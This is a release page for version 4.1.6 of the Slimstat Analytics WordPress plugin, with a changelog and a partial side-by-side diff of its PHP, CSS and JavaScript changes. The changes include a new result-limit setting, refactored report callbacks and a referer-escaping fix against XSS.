Version Description
- [New] Administrators can now set the maximum number of records that should be retrieved from the database when generating the reports (Settings > Reports). This allows those with powerful servers and unlimited PHP resources to increase this limit and get a more accurate picture of their visitors.
- [New] Extended the export functionality (via our premium Export to Excel add-on) to reports like At a Glance, Rankings, Audience Overview, etc (thank you, Tiffany).
- [Fix] Undefined variable 'temp' in wp-slimstat-admin.php (thank you, candidhams).
- [Fix] Referrers and other information were not being displayed when the Access Log report was refreshed through the admin button (thank you, Diggories).
- [Fix] Warning message in Top Entry Pages and Top Exit Pages (thank you, Romain).
- [Fix] The link in the admin bar, when the corresponding option was enabled, was interfering with some admin bar plugins (thank you, Christian)
Download this release
Release Info
Developer | coolmann |
Plugin | Slimstat Analytics |
Version | 4.1.6 |
Comparing to | |
See all releases |
Code changes from version 4.1.5.2 to 4.1.6
- admin/config/index.php +2 -1
- admin/css/slimstat.css +3 -0
- admin/js/slimstat.admin.js +1 -1
- admin/view/index.php +1 -1
- admin/view/right-now.php +4 -1
- admin/view/wp-slimstat-db.php +32 -6
- admin/view/wp-slimstat-reports.php +483 -401
- admin/wp-slimstat-admin.php +20 -15
- readme.txt +9 -45
- wp-slimstat.php +174 -154
admin/config/index.php
CHANGED
@@ -140,7 +140,7 @@ $options = array(
|
|
140 |
'hide_addons' => array( 'description' => __('Hide Add-ons','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable this option to hide all your <strong>active</strong> premium add-ons from the list of plugins in WordPress. Please note that you will still receive updates for hidden add-ons.','wp-slimstat') ),
|
141 |
|
142 |
'general_database_header' => array('description' => __('Database','wp-slimstat'), 'type' => 'section_header'),
|
143 |
-
'auto_purge' => array( 'description' => __('Retain data for','wp-slimstat'), 'type' => 'integer', 'long_description' => __("Clean-up log entries older than the number of days specified here above. Enter <strong>0</strong> (number zero) if you want to preserve your data regardless of its age.",'wp-slimstat').(
|
144 |
'auto_purge_delete' => array( 'description' => __('Delete records','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('If DB space is not an issue, you can decide to archive older records in another table, instead of deleting them. This way performance is preserved, but you will still be able to access your data at a later time, if needed. Please note that the archive table (<code>wp_slim_stats_archive</code>) will be <strong>deleted</strong> along with all the other tables, when Slimstat is uninstalled. Make sure to backup your data before you proceed.','wp-slimstat') )
|
145 |
)
|
146 |
),
|
@@ -160,6 +160,7 @@ $options = array(
|
|
160 |
'use_slimscroll' => array('description' => __('SlimScroll','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable SlimScroll, a slick jQuery library that replaces the built-in browser scrollbar.','wp-slimstat')),
|
161 |
'expand_details' => array('description' => __('Expand Details','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Expand each row's details by default, insted of on mousehover.",'wp-slimstat')),
|
162 |
'rows_to_show' => array('description' => __('Rows to Display','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Specify the number of items in each report.','wp-slimstat')),
|
|
|
163 |
|
164 |
'reports_right_now_header' => array('description' => __('Activity Log','wp-slimstat'), 'type' => 'section_header'),
|
165 |
'refresh_interval' => array('description' => __('Live Stream','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Enable the Live view, which refreshes the Activity Log every X seconds. Enter <strong>0</strong> (number zero) to deactivate this feature.','wp-slimstat'), 'after_input_field' => __('seconds','wp-slimstat')),
|
140 |
'hide_addons' => array( 'description' => __('Hide Add-ons','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable this option to hide all your <strong>active</strong> premium add-ons from the list of plugins in WordPress. Please note that you will still receive updates for hidden add-ons.','wp-slimstat') ),
|
141 |
|
142 |
'general_database_header' => array('description' => __('Database','wp-slimstat'), 'type' => 'section_header'),
|
143 |
+
'auto_purge' => array( 'description' => __('Retain data for','wp-slimstat'), 'type' => 'integer', 'long_description' => __("Clean-up log entries older than the number of days specified here above. Enter <strong>0</strong> (number zero) if you want to preserve your data regardless of its age.",'wp-slimstat').( (wp_slimstat::$options[ 'auto_purge' ] > 0)?' '.__('Next clean-up on','wp-slimstat').' <strong>'.date_i18n(get_option('date_format').', '.get_option('time_format'), wp_next_scheduled('wp_slimstat_purge')).'</strong>. '.sprintf(__('Entries logged on or before %s will be archived or deleted according to the option here below.','wp-slimstat'), date_i18n(get_option('date_format'), strtotime('-'.wp_slimstat::$options['auto_purge'].' days'))):''), 'after_input_field' => __('days','wp-slimstat') ),
|
144 |
'auto_purge_delete' => array( 'description' => __('Delete records','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('If DB space is not an issue, you can decide to archive older records in another table, instead of deleting them. This way performance is preserved, but you will still be able to access your data at a later time, if needed. Please note that the archive table (<code>wp_slim_stats_archive</code>) will be <strong>deleted</strong> along with all the other tables, when Slimstat is uninstalled. Make sure to backup your data before you proceed.','wp-slimstat') )
|
145 |
)
|
146 |
),
|
160 |
'use_slimscroll' => array('description' => __('SlimScroll','wp-slimstat'), 'type' => 'yesno', 'long_description' => __('Enable SlimScroll, a slick jQuery library that replaces the built-in browser scrollbar.','wp-slimstat')),
|
161 |
'expand_details' => array('description' => __('Expand Details','wp-slimstat'), 'type' => 'yesno', 'long_description' => __("Expand each row's details by default, insted of on mousehover.",'wp-slimstat')),
|
162 |
'rows_to_show' => array('description' => __('Rows to Display','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Specify the number of items in each report.','wp-slimstat')),
|
163 |
+
'limit_results' => array('description' => __('Max Results','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Decide how many records should be retrieved from the database in total. Depending on your server configuration, you may want to fine tune this value to avoid exceeding your PHP memory limit.','wp-slimstat')),
|
164 |
|
165 |
'reports_right_now_header' => array('description' => __('Activity Log','wp-slimstat'), 'type' => 'section_header'),
|
166 |
'refresh_interval' => array('description' => __('Live Stream','wp-slimstat'), 'type' => 'integer', 'long_description' => __('Enable the Live view, which refreshes the Activity Log every X seconds. Enter <strong>0</strong> (number zero) to deactivate this feature.','wp-slimstat'), 'after_input_field' => __('seconds','wp-slimstat')),
|
admin/css/slimstat.css
CHANGED
@@ -491,6 +491,9 @@
|
|
491 |
.form-table #slimstat-filter-name, .form-table #slimstat-filter-operator, .form-table #slimstat-filter-value{
|
492 |
width: 20%;
|
493 |
}
|
|
|
|
|
|
|
494 |
.slimstat p.submit{
|
495 |
position: fixed;
|
496 |
right: 25px;
|
491 |
.form-table #slimstat-filter-name, .form-table #slimstat-filter-operator, .form-table #slimstat-filter-value{
|
492 |
width: 20%;
|
493 |
}
|
494 |
+
[id^=form-slimstat-options] input[type=number].small-text{
|
495 |
+
width: 85px;
|
496 |
+
}
|
497 |
.slimstat p.submit{
|
498 |
position: fixed;
|
499 |
right: 25px;
|
admin/js/slimstat.admin.js
CHANGED
@@ -207,7 +207,7 @@ var SlimStatAdmin = {
|
|
207 |
}
|
208 |
else{
|
209 |
report_id = 'slim_p7_02';
|
210 |
-
data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val()};
|
211 |
jQuery('#'+report_id+' .inside').html('<p class="loading"></p>');
|
212 |
SlimStatAdmin.refresh_report(report_id, data);
|
213 |
|
207 |
}
|
208 |
else{
|
209 |
report_id = 'slim_p7_02';
|
210 |
+
data = {action: 'slimstat_load_report', report_id: report_id, security: jQuery('#meta-box-order-nonce').val(), page: SlimStatAdmin.get_query_string_value( 'page' ) };
|
211 |
jQuery('#'+report_id+' .inside').html('<p class="loading"></p>');
|
212 |
SlimStatAdmin.refresh_report(report_id, data);
|
213 |
|
admin/view/index.php
CHANGED
@@ -129,7 +129,7 @@
|
|
129 |
</form>
|
130 |
<?php
|
131 |
if (!file_exists(wp_slimstat::$maxmind_path) && wp_slimstat::$options['no_maxmind_warning'] != 'yes'){
|
132 |
-
wp_slimstat_admin::show_alert_message(sprintf(__("Install MaxMind's <a href='%s'>GeoLite DB</a> to determine your visitors' country of origin.",'wp-slimstat'), self::$config_url.'
|
133 |
}
|
134 |
|
135 |
$filters_html = wp_slimstat_reports::get_filters_html(wp_slimstat_db::$filters_normalized['columns']);
|
129 |
</form>
|
130 |
<?php
|
131 |
if (!file_exists(wp_slimstat::$maxmind_path) && wp_slimstat::$options['no_maxmind_warning'] != 'yes'){
|
132 |
+
wp_slimstat_admin::show_alert_message(sprintf(__("Install MaxMind's <a href='%s'>GeoLite DB</a> to determine your visitors' country of origin.",'wp-slimstat'), self::$config_url.'6').'<a id="slimstat-hide-geolite-notice" class="slimstat-font-cancel slimstat-float-right" title="Hide this notice" href="#"></a>', 'wp-ui-notification below-h2');
|
133 |
}
|
134 |
|
135 |
$filters_html = wp_slimstat_reports::get_filters_html(wp_slimstat_db::$filters_normalized['columns']);
|
admin/view/right-now.php
CHANGED
@@ -4,7 +4,7 @@ if ( !function_exists( 'add_action' ) ) {
|
|
4 |
exit(0);
|
5 |
}
|
6 |
|
7 |
-
$is_dashboard = empty( $
|
8 |
|
9 |
// Available icons
|
10 |
$supported_browser_icons = array('Android','Anonymouse','Baiduspider','BlackBerry','BingBot','CFNetwork','Chrome','Chromium','Default Browser','Exabot/BiggerBetter','FacebookExternalHit','FeedBurner','Feedfetcher-Google','Firefox','Internet Archive','Googlebot','Google Bot','Google Feedfetcher','Google Web Preview','IE','IEMobile','iPad','iPhone','iPod Touch','Maxthon','Mediapartners-Google','Microsoft-WebDAV','msnbot','Mozilla','NewsGatorOnline','Netscape','Nokia','Opera','Opera Mini','Opera Mobi','Python','PycURL','Safari','W3C_Validator','WordPress','Yahoo! Slurp','YandexBot');
|
@@ -156,6 +156,9 @@ else {
|
|
156 |
$results[$i]['resource'] = __('Local search results page','wp-slimstat');
|
157 |
}
|
158 |
|
|
|
|
|
|
|
159 |
// Search Terms, with link to original SERP, and Outbound Resource
|
160 |
if (!empty($results[$i]['searchterms'])){
|
161 |
$results[$i]['searchterms'] = "<i class='spaced slimstat-font-search' title='".__('Search Terms','wp-slimstat')."'></i> ".wp_slimstat_reports::get_search_terms_info($results[$i]['searchterms'], $results[$i]['referer']);
|
4 |
exit(0);
|
5 |
}
|
6 |
|
7 |
+
$is_dashboard = empty( $_REQUEST[ 'page' ] ) || $_REQUEST[ 'page' ] != 'wp-slim-view-1';
|
8 |
|
9 |
// Available icons
|
10 |
$supported_browser_icons = array('Android','Anonymouse','Baiduspider','BlackBerry','BingBot','CFNetwork','Chrome','Chromium','Default Browser','Exabot/BiggerBetter','FacebookExternalHit','FeedBurner','Feedfetcher-Google','Firefox','Internet Archive','Googlebot','Google Bot','Google Feedfetcher','Google Web Preview','IE','IEMobile','iPad','iPhone','iPod Touch','Maxthon','Mediapartners-Google','Microsoft-WebDAV','msnbot','Mozilla','NewsGatorOnline','Netscape','Nokia','Opera','Opera Mini','Opera Mobi','Python','PycURL','Safari','W3C_Validator','WordPress','Yahoo! Slurp','YandexBot');
|
156 |
$results[$i]['resource'] = __('Local search results page','wp-slimstat');
|
157 |
}
|
158 |
|
159 |
+
// Avoid XSS attacks through the referer URL
|
160 |
+
$results[ $i ] [ 'referer' ] = str_replace( array( '<', '>' ), array( '<', '>' ), urldecode( $results[ $i ] [ 'referer' ] ) );
|
161 |
+
|
162 |
// Search Terms, with link to original SERP, and Outbound Resource
|
163 |
if (!empty($results[$i]['searchterms'])){
|
164 |
$results[$i]['searchterms'] = "<i class='spaced slimstat-font-search' title='".__('Search Terms','wp-slimstat')."'></i> ".wp_slimstat_reports::get_search_terms_info($results[$i]['searchterms'], $results[$i]['referer']);
|
admin/view/wp-slimstat-db.php
CHANGED
@@ -68,6 +68,8 @@ class wp_slimstat_db {
|
|
68 |
|
69 |
// The following filters will not be displayed in the dropdown
|
70 |
self::$all_columns_names = array_merge( array(
|
|
|
|
|
71 |
'minute' => array( __( 'Minute', 'wp-slimstat' ), 'int' ),
|
72 |
'hour' => array( __( 'Hour', 'wp-slimstat' ), 'int' ),
|
73 |
'day' => array( __( 'Day', 'wp-slimstat' ), 'int' ),
|
@@ -80,9 +82,13 @@ class wp_slimstat_db {
|
|
80 |
'dt' => array( __( 'Unix Timestamp', 'wp-slimstat' ), 'int' ),
|
81 |
|
82 |
// Other columns
|
83 |
-
'
|
84 |
-
'
|
85 |
-
'
|
|
|
|
|
|
|
|
|
86 |
|
87 |
// Events
|
88 |
'event_id' => array( __( 'Event ID', 'wp-slimstat' ), 'int' ),
|
@@ -180,6 +186,7 @@ class wp_slimstat_db {
|
|
180 |
}
|
181 |
|
182 |
if ( !empty( $_column ) && !empty( self::$columns_names[ $_column ] ) ) {
|
|
|
183 |
$column_with_alias = $_column;
|
184 |
if ( !empty( $_slim_stats_table_alias ) ) {
|
185 |
$column_with_alias = $_slim_stats_table_alias . '.' . $column_with_alias;
|
@@ -203,6 +210,8 @@ class wp_slimstat_db {
|
|
203 |
$filter_empty = ( !empty( self::$columns_names[ $_column ] ) && self::$columns_names[ $_column ] [ 1 ] == 'varchar' ) ? 'IS NULL' : '= 0';
|
204 |
$filter_not_empty = ( !empty( self::$columns_names[ $_column ] ) && self::$columns_names[ $_column ] [ 1 ] == 'varchar' ) ? 'IS NOT NULL' : '<> 0';
|
205 |
|
|
|
|
|
206 |
$column_with_alias = $_column;
|
207 |
if ( !empty( $_slim_stats_table_alias ) ) {
|
208 |
$column_with_alias = $_slim_stats_table_alias . '.' . $_column;
|
@@ -318,7 +327,7 @@ class wp_slimstat_db {
|
|
318 |
),
|
319 |
'misc' => $_init_misc?array(
|
320 |
'direction' => 'DESC',
|
321 |
-
'limit_results' =>
|
322 |
'start_from' => 0
|
323 |
) : array(),
|
324 |
'utime' => array(
|
@@ -784,7 +793,7 @@ class wp_slimstat_db {
|
|
784 |
|
785 |
$_where = self::get_combined_where( $_where, $_column, $_use_date_filters );
|
786 |
|
787 |
-
if ( $_column == '*' ) {
|
788 |
return self::get_results( "
|
789 |
SELECT *
|
790 |
FROM {$GLOBALS['wpdb']->prefix}slim_stats
|
@@ -861,10 +870,27 @@ class wp_slimstat_db {
|
|
861 |
}
|
862 |
|
863 |
public static function get_top_aggr( $_column = 'id', $_where = '', $_outer_select_column = '', $_aggr_function = 'MAX' ) {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
864 |
$_where = self::get_combined_where( $_where, $_column );
|
865 |
|
866 |
return self::get_results( "
|
867 |
-
SELECT $_outer_select_column, ts1.aggrid, COUNT(*) counthits
|
868 |
FROM (
|
869 |
SELECT $_column, $_aggr_function(id) aggrid
|
870 |
FROM {$GLOBALS['wpdb']->prefix}slim_stats
|
68 |
|
69 |
// The following filters will not be displayed in the dropdown
|
70 |
self::$all_columns_names = array_merge( array(
|
71 |
+
|
72 |
+
// Date and Time
|
73 |
'minute' => array( __( 'Minute', 'wp-slimstat' ), 'int' ),
|
74 |
'hour' => array( __( 'Hour', 'wp-slimstat' ), 'int' ),
|
75 |
'day' => array( __( 'Day', 'wp-slimstat' ), 'int' ),
|
82 |
'dt' => array( __( 'Unix Timestamp', 'wp-slimstat' ), 'int' ),
|
83 |
|
84 |
// Other columns
|
85 |
+
'language_calculated' => array( __( 'Language', 'wp-slimstat' ), 'varchar' ),
|
86 |
+
'platform_calculated' => array( __( 'Operating System', 'wp-slimstat' ), 'varchar' ),
|
87 |
+
'resource_calculated' => array( __( 'Permalink', 'wp-slimstat' ), 'varchar' ),
|
88 |
+
'metric' => array( __( 'Metric', 'wp-slimstat' ), 'varchar' ),
|
89 |
+
'value' => array( __( 'Value', 'wp-slimstat' ), 'varchar' ),
|
90 |
+
'tooltip' => array( __( 'Notes', 'wp-slimstat' ), 'varchar' ),
|
91 |
+
'details' => array( __( 'Notes', 'wp-slimstat' ), 'varchar' ),
|
92 |
|
93 |
// Events
|
94 |
'event_id' => array( __( 'Event ID', 'wp-slimstat' ), 'int' ),
|
186 |
}
|
187 |
|
188 |
if ( !empty( $_column ) && !empty( self::$columns_names[ $_column ] ) ) {
|
189 |
+
$_column = str_replace( '_calculated', '', $_column );
|
190 |
$column_with_alias = $_column;
|
191 |
if ( !empty( $_slim_stats_table_alias ) ) {
|
192 |
$column_with_alias = $_slim_stats_table_alias . '.' . $column_with_alias;
|
210 |
$filter_empty = ( !empty( self::$columns_names[ $_column ] ) && self::$columns_names[ $_column ] [ 1 ] == 'varchar' ) ? 'IS NULL' : '= 0';
|
211 |
$filter_not_empty = ( !empty( self::$columns_names[ $_column ] ) && self::$columns_names[ $_column ] [ 1 ] == 'varchar' ) ? 'IS NOT NULL' : '<> 0';
|
212 |
|
213 |
+
$_column = str_replace( '_calculated', '', $_column );
|
214 |
+
|
215 |
$column_with_alias = $_column;
|
216 |
if ( !empty( $_slim_stats_table_alias ) ) {
|
217 |
$column_with_alias = $_slim_stats_table_alias . '.' . $_column;
|
327 |
),
|
328 |
'misc' => $_init_misc?array(
|
329 |
'direction' => 'DESC',
|
330 |
+
'limit_results' => wp_slimstat::$options[ 'limit_results' ],
|
331 |
'start_from' => 0
|
332 |
) : array(),
|
333 |
'utime' => array(
|
793 |
|
794 |
$_where = self::get_combined_where( $_where, $_column, $_use_date_filters );
|
795 |
|
796 |
+
if ( $_column == 'id' || $_column == '*' ) {
|
797 |
return self::get_results( "
|
798 |
SELECT *
|
799 |
FROM {$GLOBALS['wpdb']->prefix}slim_stats
|
870 |
}
|
871 |
|
872 |
public static function get_top_aggr( $_column = 'id', $_where = '', $_outer_select_column = '', $_aggr_function = 'MAX' ) {
|
873 |
+
if ( is_array( $_column ) ) {
|
874 |
+
$_where = !empty( $_column[ 'where' ] ) ? $_column[ 'where' ] : '';
|
875 |
+
$_having = !empty( $_column[ 'having' ] ) ? $_column[ 'having' ] : '';
|
876 |
+
$_use_date_filters = !empty( $_column[ 'use_date_filters' ] ) ? $_column[ 'use_date_filters' ] : true;
|
877 |
+
$_as_column = !empty( $_column[ 'as_column' ] ) ? $_column[ 'as_column' ] : '';
|
878 |
+
$_outer_select_column = !empty( $_column[ 'outer_select_column' ] ) ? $_column[ 'outer_select_column' ] : '';
|
879 |
+
$_aggr_function = !empty( $_column[ 'aggr_function' ] ) ? $_column[ 'aggr_function' ] : '';
|
880 |
+
$_column = $_column[ 'columns' ];
|
881 |
+
}
|
882 |
+
|
883 |
+
if ( !empty( $_as_column ) ) {
|
884 |
+
$_column = "$_column AS $_as_column";
|
885 |
+
}
|
886 |
+
else {
|
887 |
+
$_as_column = $_column;
|
888 |
+
}
|
889 |
+
|
890 |
$_where = self::get_combined_where( $_where, $_column );
|
891 |
|
892 |
return self::get_results( "
|
893 |
+
SELECT $_outer_select_column, ts1.aggrid as $_column, COUNT(*) counthits
|
894 |
FROM (
|
895 |
SELECT $_column, $_aggr_function(id) aggrid
|
896 |
FROM {$GLOBALS['wpdb']->prefix}slim_stats
|
admin/view/wp-slimstat-reports.php
CHANGED
@@ -105,13 +105,21 @@ class wp_slimstat_reports {
|
|
105 |
),
|
106 |
'slim_p1_02' => array(
|
107 |
'title' => __( 'About Slimstat', 'wp-slimstat' ),
|
108 |
-
'callback' => array( __CLASS__, 'show_about_wpslimstat' ),
|
|
|
|
|
|
|
|
|
109 |
'classes' => array( 'normal', 'hidden' ),
|
110 |
'screens' => array( 'wp-slim-view-2' )
|
111 |
),
|
112 |
'slim_p1_03' => array(
|
113 |
'title' => __( 'At a Glance', 'wp-slimstat' ),
|
114 |
-
'callback' => array( __CLASS__, 'show_overview_summary' ),
|
|
|
|
|
|
|
|
|
115 |
'classes' => array( 'normal' ),
|
116 |
'screens' => array( 'wp-slim-view-2', 'dashboard' )
|
117 |
),
|
@@ -147,7 +155,7 @@ class wp_slimstat_reports {
|
|
147 |
'callback_args' => array(
|
148 |
'type' => 'top',
|
149 |
'columns' => 'SUBSTRING_INDEX(resource, "' . ( !get_option( 'permalink_structure' ) ? '&' : '?' ) . '", 1)',
|
150 |
-
'as_column' => '
|
151 |
'filter_op' => 'contains',
|
152 |
'raw' => array( 'wp_slimstat_db', 'get_top' )
|
153 |
),
|
@@ -214,7 +222,7 @@ class wp_slimstat_reports {
|
|
214 |
'callback_args' => array(
|
215 |
'type' => 'top',
|
216 |
'columns' => 'SUBSTRING(language, 1, 2)',
|
217 |
-
'as_column' => '
|
218 |
'filter_op' => 'contains',
|
219 |
'raw' => array( 'wp_slimstat_db', 'get_top' )
|
220 |
),
|
@@ -234,7 +242,10 @@ class wp_slimstat_reports {
|
|
234 |
),
|
235 |
'slim_p2_02' => array(
|
236 |
'title' => __( 'Audience Overview', 'wp-slimstat' ),
|
237 |
-
'callback' => array( __CLASS__, '
|
|
|
|
|
|
|
238 |
'classes' => array( 'normal' ),
|
239 |
'screens' => array( 'wp-slim-view-3', 'dashboard' ),
|
240 |
'tooltip' => __( 'Where not otherwise specified, the metrics in this report are referred to human visitors.', 'wp-slimstat' )
|
@@ -309,15 +320,22 @@ class wp_slimstat_reports {
|
|
309 |
),
|
310 |
'slim_p2_09' => array(
|
311 |
'title' => __( 'Browser Capabilities', 'wp-slimstat' ),
|
312 |
-
'callback' => array( __CLASS__, '
|
|
|
|
|
|
|
313 |
'classes' => array( 'normal', 'hidden' ),
|
314 |
'screens' => array( 'wp-slim-view-3' )
|
315 |
),
|
316 |
'slim_p2_12' => array(
|
317 |
'title' => __( 'Visit Duration', 'wp-slimstat' ),
|
318 |
-
'callback' => array( __CLASS__, '
|
|
|
|
|
|
|
319 |
'classes' => array( 'normal', 'hidden' ),
|
320 |
-
'screens' => array( 'wp-slim-view-3' )
|
|
|
321 |
),
|
322 |
'slim_p2_13' => array(
|
323 |
'title' => __( 'Recent Countries', 'wp-slimstat' ),
|
@@ -392,7 +410,7 @@ class wp_slimstat_reports {
|
|
392 |
'callback_args' => array(
|
393 |
'type' => 'top',
|
394 |
'columns' => 'CONCAT("p-", SUBSTRING(platform, 1, 3))',
|
395 |
-
'as_column' => '
|
396 |
'filter_op' => 'contains',
|
397 |
'raw' => array( 'wp_slimstat_db', 'get_top' )
|
398 |
),
|
@@ -436,8 +454,11 @@ class wp_slimstat_reports {
|
|
436 |
'tooltip' => $chart_tooltip
|
437 |
),
|
438 |
'slim_p3_02' => array(
|
439 |
-
'title' => __( 'Summary', 'wp-slimstat' ),
|
440 |
-
'callback' => array( __CLASS__, '
|
|
|
|
|
|
|
441 |
'classes' => array( 'normal' ),
|
442 |
'screens' => array( 'wp-slim-view-5' )
|
443 |
),
|
@@ -686,7 +707,10 @@ class wp_slimstat_reports {
|
|
686 |
),
|
687 |
'slim_p4_22' => array(
|
688 |
'title' => __( 'Your Website', 'wp-slimstat' ),
|
689 |
-
'callback' => array( __CLASS__, '
|
|
|
|
|
|
|
690 |
'classes' => array( 'normal', 'hidden' ),
|
691 |
'screens' => array( 'wp-slim-view-4' ),
|
692 |
'tooltip' => __( 'Your content at a glance: posts, comments, pingbacks, etc. Please note that this report is not affected by the filters set here above.', 'wp-slimstat' )
|
@@ -820,8 +844,8 @@ class wp_slimstat_reports {
|
|
820 |
|
821 |
$endpoint = min($_count_all_results, wp_slimstat_db::$filters_normalized['misc']['start_from'] + $_results_per_page);
|
822 |
$pagination_buttons = '';
|
823 |
-
$direction_prev = is_rtl()?'right':'left';
|
824 |
-
$direction_next = is_rtl()?'left':'right';
|
825 |
|
826 |
if ($endpoint + $_results_per_page < $_count_all_results && $_count_page_results > 0){
|
827 |
$startpoint = $_count_all_results - $_count_all_results % $_results_per_page;
|
@@ -842,222 +866,210 @@ class wp_slimstat_reports {
|
|
842 |
$pagination_buttons .= '<a class="button-ajax slimstat-font-angle-double-'.$direction_prev.'" href="'.wp_slimstat_reports::fs_url('start_from equals 0').'"></a> ';
|
843 |
}
|
844 |
|
845 |
-
$pagination = '<p class="pagination">'.sprintf(__('Results %s - %s of %s', 'wp-slimstat'), number_format(wp_slimstat_db::$filters_normalized['misc']['start_from'] + 1, 0, '', wp_slimstat_db::$formats['thousand']), number_format($endpoint, 0, '', wp_slimstat_db::$formats['thousand']), number_format($_count_all_results, 0, '', wp_slimstat_db::$formats['thousand']).(($_count_all_results ==
|
846 |
if ($_show_refresh_countdown && wp_slimstat::$options['refresh_interval'] > 0 && !wp_slimstat_db::$filters_normalized['date']['is_past']){
|
847 |
-
$pagination .= '
|
848 |
}
|
849 |
$pagination .= $pagination_buttons.'</p>';
|
850 |
|
851 |
echo $pagination;
|
852 |
}
|
853 |
|
854 |
-
/* FIX ME: This function can be removed, is not used anymore */
|
855 |
-
public static function get_raw_results( $_args = array() ) {
|
856 |
-
if ( empty( $_args[ 'type' ] ) ) {
|
857 |
-
return array();
|
858 |
-
}
|
859 |
-
|
860 |
-
// Default Values
|
861 |
-
$_args = array_merge( array(
|
862 |
-
'type' => '',
|
863 |
-
'columns' => '',
|
864 |
-
'where' => '',
|
865 |
-
'having' => '',
|
866 |
-
'as_column' => '',
|
867 |
-
'filter_op' => 'equals',
|
868 |
-
'outer_select_column' => '',
|
869 |
-
'aggr_function' => 'MAX',
|
870 |
-
'use_date_filters' => true
|
871 |
-
), $_args );
|
872 |
-
|
873 |
-
switch ( $_args[ 'type' ] ) {
|
874 |
-
case 'recent':
|
875 |
-
$all_results = wp_slimstat_db::get_recent( $_args[ 'columns' ], $_args[ 'where' ], $_args[ 'having' ], $_args[ 'use_date_filters' ], $_args['as_column'] );
|
876 |
-
break;
|
877 |
-
|
878 |
-
case 'top':
|
879 |
-
$all_results = wp_slimstat_db::get_top( $_args[ 'columns' ], $_args['where'], $_args['having'], $_args[ 'use_date_filters' ], $_args['as_column'] );
|
880 |
-
break;
|
881 |
-
|
882 |
-
case 'top_aggr':
|
883 |
-
$all_results = wp_slimstat_db::get_top_aggr( $_args[ 'columns' ], $_args['where'], $_args['outer_select_column'], $_args['aggr_function'] );
|
884 |
-
break;
|
885 |
-
|
886 |
-
default:
|
887 |
-
$all_results = array();
|
888 |
-
break;
|
889 |
-
}
|
890 |
-
|
891 |
-
return $all_results;
|
892 |
-
}
|
893 |
-
|
894 |
public static function callback_wrapper() {
|
895 |
$_args = self::_check_args( func_get_args() );
|
896 |
-
|
897 |
call_user_func( $_args[ 'callback' ] , $_args[ 'callback_args' ] );
|
898 |
}
|
899 |
|
900 |
public static function raw_results_to_html( $_args = array() ) {
|
901 |
-
|
902 |
wp_slimstat_db::$debug_message = '';
|
903 |
$all_results = call_user_func( $_args[ 'raw' ] , $_args );
|
904 |
|
905 |
echo wp_slimstat_db::$debug_message;
|
906 |
|
907 |
-
|
908 |
-
|
909 |
-
|
910 |
-
|
911 |
-
);
|
912 |
|
913 |
-
|
914 |
-
|
|
|
915 |
|
916 |
-
|
917 |
-
|
918 |
-
|
919 |
-
|
920 |
-
|
921 |
-
|
922 |
-
|
923 |
-
|
924 |
}
|
925 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
926 |
|
927 |
-
|
928 |
-
|
929 |
-
|
930 |
-
|
931 |
-
|
932 |
-
|
933 |
-
|
934 |
|
935 |
-
|
936 |
-
|
937 |
-
|
938 |
-
|
939 |
-
|
940 |
|
941 |
-
|
942 |
-
|
943 |
-
|
944 |
-
|
945 |
|
946 |
-
|
947 |
-
|
948 |
-
|
949 |
-
|
950 |
|
951 |
-
|
952 |
-
|
953 |
|
954 |
-
|
955 |
-
|
956 |
-
|
957 |
-
|
958 |
-
|
959 |
-
|
960 |
-
|
961 |
-
|
962 |
-
|
963 |
-
|
964 |
-
|
965 |
-
|
966 |
-
|
967 |
-
|
968 |
-
|
969 |
-
|
970 |
-
|
971 |
-
|
972 |
-
|
973 |
-
|
974 |
-
|
975 |
-
|
976 |
-
|
977 |
-
|
978 |
-
|
979 |
-
|
980 |
-
|
981 |
-
|
982 |
-
|
983 |
-
|
984 |
-
|
985 |
-
|
986 |
-
|
987 |
-
|
988 |
-
|
989 |
-
|
990 |
-
|
991 |
-
|
992 |
-
|
993 |
-
|
994 |
-
|
995 |
-
|
996 |
-
|
997 |
-
|
998 |
-
|
999 |
-
|
1000 |
-
|
1001 |
-
|
1002 |
-
|
1003 |
-
|
1004 |
-
|
1005 |
-
|
1006 |
-
|
1007 |
-
|
1008 |
-
|
1009 |
-
|
1010 |
-
|
1011 |
-
|
1012 |
-
|
1013 |
-
|
1014 |
-
|
1015 |
-
|
1016 |
-
|
1017 |
-
|
1018 |
-
|
1019 |
-
|
1020 |
-
|
1021 |
-
|
1022 |
-
|
1023 |
-
|
1024 |
-
|
1025 |
-
|
1026 |
-
|
1027 |
-
}
|
1028 |
-
|
1029 |
-
$element_value = "<a class='slimstat-filter-link' href='".self::fs_url( $_args[ 'columns' ].' '.$_args['filter_op'].' '.$results[$i][ $_args[ 'columns' ] ] )."'>$element_value</a>";
|
1030 |
|
1031 |
-
|
1032 |
-
|
1033 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1034 |
|
1035 |
-
|
1036 |
-
|
1037 |
-
|
1038 |
-
}
|
1039 |
|
1040 |
-
|
1041 |
-
|
1042 |
-
|
1043 |
-
if (isset($results[$i]['blog_id'])){
|
1044 |
-
$base_url = parse_url(get_site_url($results[$i]['blog_id']));
|
1045 |
-
$base_url = $base_url['scheme'].'://'.$base_url['host'];
|
1046 |
}
|
1047 |
-
$element_value = '<a target="_blank" class="slimstat-font-logout" title="'.__('Open this URL in a new window','wp-slimstat').'" href="'.$base_url.htmlentities($results[$i]['resource'], ENT_QUOTES, 'UTF-8').'"></a> '.$base_url.$element_value;
|
1048 |
-
}
|
1049 |
-
if ( $_args[ 'columns' ] == 'referer' ) {
|
1050 |
-
$element_url = htmlentities($results[$i]['referer'], ENT_QUOTES, 'UTF-8');
|
1051 |
-
